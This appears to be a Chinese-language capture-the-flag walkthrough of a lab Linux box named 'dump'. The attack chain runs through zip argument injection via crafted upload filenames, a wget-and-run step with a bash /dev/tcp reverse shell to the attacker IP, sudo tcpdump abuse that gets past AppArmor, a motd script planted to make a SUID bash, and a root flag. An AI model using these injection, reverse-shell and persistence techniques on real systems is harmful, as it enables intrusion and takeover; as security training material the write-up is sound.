本篇文章详细描述了如何利用命令注入漏洞,成功获取Linux系统的用户和根权限。通过Nmap扫描确认目标主机的服务和版本后,作者发现了一个支持文件上传的网站,并利用ZIP命令的注入漏洞,上传恶意脚本获取反向Shell。随后,通过对系统的权限配置进行枚举,使用tcpdump命令结合AppArmor的配置,成功地在系统上创建了一个持久化的提权方法,最终以root身份执行命令,获取root权限和敏感信息。
Information Gathering
# Nmap 7.98 scan initiated Tue Jan 6 06:31:53 2026 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.129.234.97
Nmap scan report for 10.129.234.97
Host is up (0.071s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
| ssh-hostkey:
| 3072 fb:31:61:8d:2f:86:e5:60:f9:e6:24:a3:1c:62:0c:ae (RSA)
| 256 0c:b7:c4:fb:4a:fc:31:1b:e9:4b:0b:d1:19:56:2f:ce (ECDSA)
|_ 256 3c:c6:e8:71:4d:9a:d5:1d:86:dd:dd:6c:82:ee:7e:4d (ED25519)
80/tcp open http Apache httpd 2.4.65 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.65 (Debian)
|_http-title: hdmpll?
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 0.000 days (since Tue Jan 6 06:32:10 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 6 06:32:23 2026 -- 1 IP address (1 host up) scanned in 30.29 seconds
Vulnerability Analysis
Web侦察后得知:是一个支持上传下载捕获pcap的网站。
在下载文件时会出现
HTTP/1.1 301 Moved Permanently
Date: Tue, 06 Jan 2026 07:56:29 GMT
Server: Apache/2.4.65 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: downloads/9fedd608-8eff-4779-a086-556a330cf1ad.zip
Content-Length: 158
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Preparing download...
<!--
zip warning: name not matched: *
zip error: Nothing to do! (/var/www/html/downloads/9fedd608-8eff-4779-a086-556a330cf1ad.zip)
-->
知道使用的zip,此时可能存在注入。
我们上传一个-h文件
POST /upload.php HTTP/1.1
Host: dump.vl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryf78faa8165f6668bc57b25467061a78a
Content-Length: 374
Origin: http://dump.vl
Connection: keep-alive
Referer: http://dump.vl/index.php
Cookie: PHPSESSID=2oemv4tqkhlkuvv0aeifroqri7
Upgrade-Insecure-Requests: 1
Priority: u=0, i
------geckoformboundaryf78faa8165f6668bc57b25467061a78a
Content-Disposition: form-data; name="submit"
Upload Capture
------geckoformboundaryf78faa8165f6668bc57b25467061a78a
Content-Disposition: form-data; name="fileToUpload"; filename="-h"
Content-Type: application/octet-stream
Ôò¡# 执行GET /download.php
Preparing download...
<!--
Copyright (c) 1990-2008 Info-ZIP - Type 'zip "-L"' for software license.
Zip 3.0 (July 5th 2008). Usage:
zip [-options] [-b path] [-t mmddyyyy] [-n suffixes] [zipfile list] [-xi list]
The default action is to add or replace zipfile entries from list, which
can include the special name - to compress standard input.
If zipfile and list are omitted, zip compresses stdin to stdout.
-f freshen: only changed files -u update: only changed or new files
-d delete entries in zipfile -m move into zipfile (delete OS files)
-r recurse into directories -j junk (don't record) directory names
-0 store only -l convert LF to CR LF (-ll CR LF to LF)
-1 compress faster -9 compress better
-q quiet operation -v verbose operation/print version info
-c add one-line comments -z add zipfile comment
-@ read names from stdin -o make zipfile as old as latest entry
-x exclude the following names -i include only the following names
-F fix zipfile (-FF try harder) -D do not add directory entries
-A adjust self-extracting exe -J junk zipfile prefix (unzipsfx)
-T test zipfile integrity -X eXclude eXtra file attributes
-y store symbolic links as the link instead of the referenced file
-e encrypt -n don't compress these suffixes
-h2 show more help
-->可以发现得到zip -h,存在命令注入,推测为zip file1 file2 -h
Exploitation (User Flag)
搜索GTFOBins得到zip $TF /etc/hosts -T -TT 'sh #'
当我们运行zip ... -T -TT 'sleep 5;id'实际上得到sleep 5; id /tmp/tmp.vaa92qHARB
不能上传包含/文件,因为服务器只会读取/后面的内容
所以我们可以上传

执行为wget -r 10.10.16.27 -nd;bash b.sh;echo file1.zip
本地的b.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.27/4444 0>&1
即可获取shell
Privilege Escalation (Root Flag)
枚举过后得到
www-data@dump:/var/www/database$ ls
database.sqlite3
以及sudo -l
www-data@dump:/var/cache$ sudo -l
Matching Defaults entries for www-data on dump:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on dump:
(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10
-w/var/cache/captures/*/[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]
-F/var/cache/captures/filter.[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]
www-data@dump:/var/www/database$ sqlite3 database.sqlite3 'select * from users'
fritz|Passw0rdH4shingIsforNoobZ!|534ce8b9-6a77-4113-a8c1-66462519bfd1
得到fritz : Passw0rdH4shingIsforNoobZ!
登陆上发现fritz是adm组
根据GTFOBins正常应用
www-data@dump:/var/www/database$ COMMAND='id'
www-data@dump:/var/www/database$ TF=$(mktemp)
www-data@dump:/var/www/database$ echo "$COMMAND" > $TF
www-data@dump:/var/www/database$ chmod +x $TF
www-data@dump:/var/www/database$ sudo /usr/bin/tcpdump -c10 -w/var/cache/captures/ -ln -i eth0 -w/tmp/out.txt -W 1 -G 1 -z $TF -Z root /351ecea1-0311-49de-97d9-f3a56970fa11 -F/var/cache/captures/filter.bb1585e0-ec69-4667-8d20-797a05553049
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
2 packets received by filter
0 packets dropped by kernel
compress_savefile: execlp(/tmp/tmp.UYMHUJ8mpP, /tmp/out.txt) failed: Permission denied
在 Debian/Ubuntu/Kali 系统中,tcpdump 通常被 AppArmor 配置文件锁定,禁止它执行 /tmp/ 下的脚本,也禁止它执行除特定帮助程序以外的任何命令。
type=AVC msg=audit(1767772890.978:999): apparmor="DENIED" operation="exec" profile="tcpdump" name="/tmp/tmp.UYMHUJ8mpP" pid=4798 comm="tcpdump" requested_mask="x" denied_mask="x" fsuid=0 ouid=33FSUID="root" OUID="www-data"
在/var/log/audit/audit.log中看到与Apparmor有关的话
看一下配置
fritz@dump:~$ cat /etc/apparmor.d/usr.bin.tcpdump
# vim:syntax=apparmor
#include <tunables/global>
profile tcpdump /usr/bin/tcpdump {
#include <abstractions/base>
#include <abstractions/nameservice>
#include <abstractions/user-tmp>
capability net_raw,
capability setuid,
capability setgid,
capability dac_override,
capability chown,
network raw,
network packet,
# for -D
@{PROC}/bus/usb/ r,
@{PROC}/bus/usb/** r,
# for finding an interface
/dev/ r,
@{PROC}/[0-9]*/net/dev r,
/sys/bus/usb/devices/ r,
/sys/class/net/ r,
/sys/devices/**/net/** r,
# for -j
capability net_admin,
# for tracing USB bus, which libpcap supports
/dev/usbmon* r,
/dev/bus/usb/ r,
/dev/bus/usb/** r,
# for init_etherarray(), with -e
/etc/ethers r,
# for USB probing (see libpcap-1.1.x/pcap-usb-linux.c:probe_devices())
/dev/bus/usb/**/[0-9]* w,
# for -z
/{usr/,}bin/gzip ixr,
/{usr/,}bin/bzip2 ixr,
# for -F and -w
audit deny @{HOME}/.* mrwkl,
audit deny @{HOME}/.*/ rw,
audit deny @{HOME}/.*/** mrwkl,
audit deny @{HOME}/bin/ rw,
audit deny @{HOME}/bin/** mrwkl,
owner @{HOME}/ r,
owner @{HOME}/** rw,
# for -r, -F and -w
/**.[pP][cC][aA][pP] rw,
/**.[cC][aA][pP] rw,
# -W adds a numerical suffix
/**.[pP][cC][aA][pP][0-9]* rw,
/**.[cC][aA][pP][0-9]* rw,
# for convenience with -r (ie, read pcap files from other sources)
/var/log/snort/*log* r,
/usr/bin/tcpdump mr,
# Site-specific additions and overrides. See local/README for details.
#include <local/usr.bin.tcpdump>
}
- 写入任何以.pcap或.cap结尾的文件
- 如果文件名符合UUID格式[0-9a-f]-[0-9a-f]-[0-9a-f]-[0-9a-f]-[0-9a-f],则写入任何位置
- 写入到主目录(隐藏文件除外)
- 文件将包含一个必须处理的pcap报头
可以将文件写入/etc/update-motd.d/,每当ssh登陆时,就会以root身份运行其中的脚本
www-data@dump:/var/cache/captures$ sudo /usr/bin/tcpdump -c10 -w/var/cache/captures/ -w/etc/update-motd.d/11111111-1234-1234-1234-111111111111 -Z fritz /351ecea1-0311-49de-97d9-f3a56970fae8 -F/var/cache/captures/filter.362526fa-74f1-4bc4-847e-b9292c25fddc
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10 packets captured
15 packets received by filter
0 packets dropped by kernel
💡
为什么会有/351ecea1-0311-49de-97d9-f3a56970fae8?
www-data@dump:/var/cache/captures$ ls -lah /etc/update-motd.d/11111111-1234-1234-1234-111111111111
-rw-r--r-- 1 fritz fritz 2.1K Jan 7 08:27 /etc/update-motd.d/11111111-1234-1234-1234-111111111111
cat > /etc/update-motd.d/11111111-1234-1234-1234-111111111111 << 'EOF'
#!/bin/bash
cp /usr/bin/bash /home/fritz/bash && chmod u+s /home/fritz/bash
EOF
chmod +x /etc/update-motd.d/11111111-1234-1234-1234-111111111111
重新登录ssh即可
fritz@dump:~$ ls -la
-rwsr-xr-x 1 root root 1234376 Jan 7 08:34 bash
fritz@dump:~$ ./bash -p
bash-5.1# id
uid=1001(fritz) gid=1001(fritz) euid=0(root) groups=1001(fritz),4(adm)
bash-5.1# cat /root/root.txt
60fa24c20ef11b19b4d5e5c320eb5c16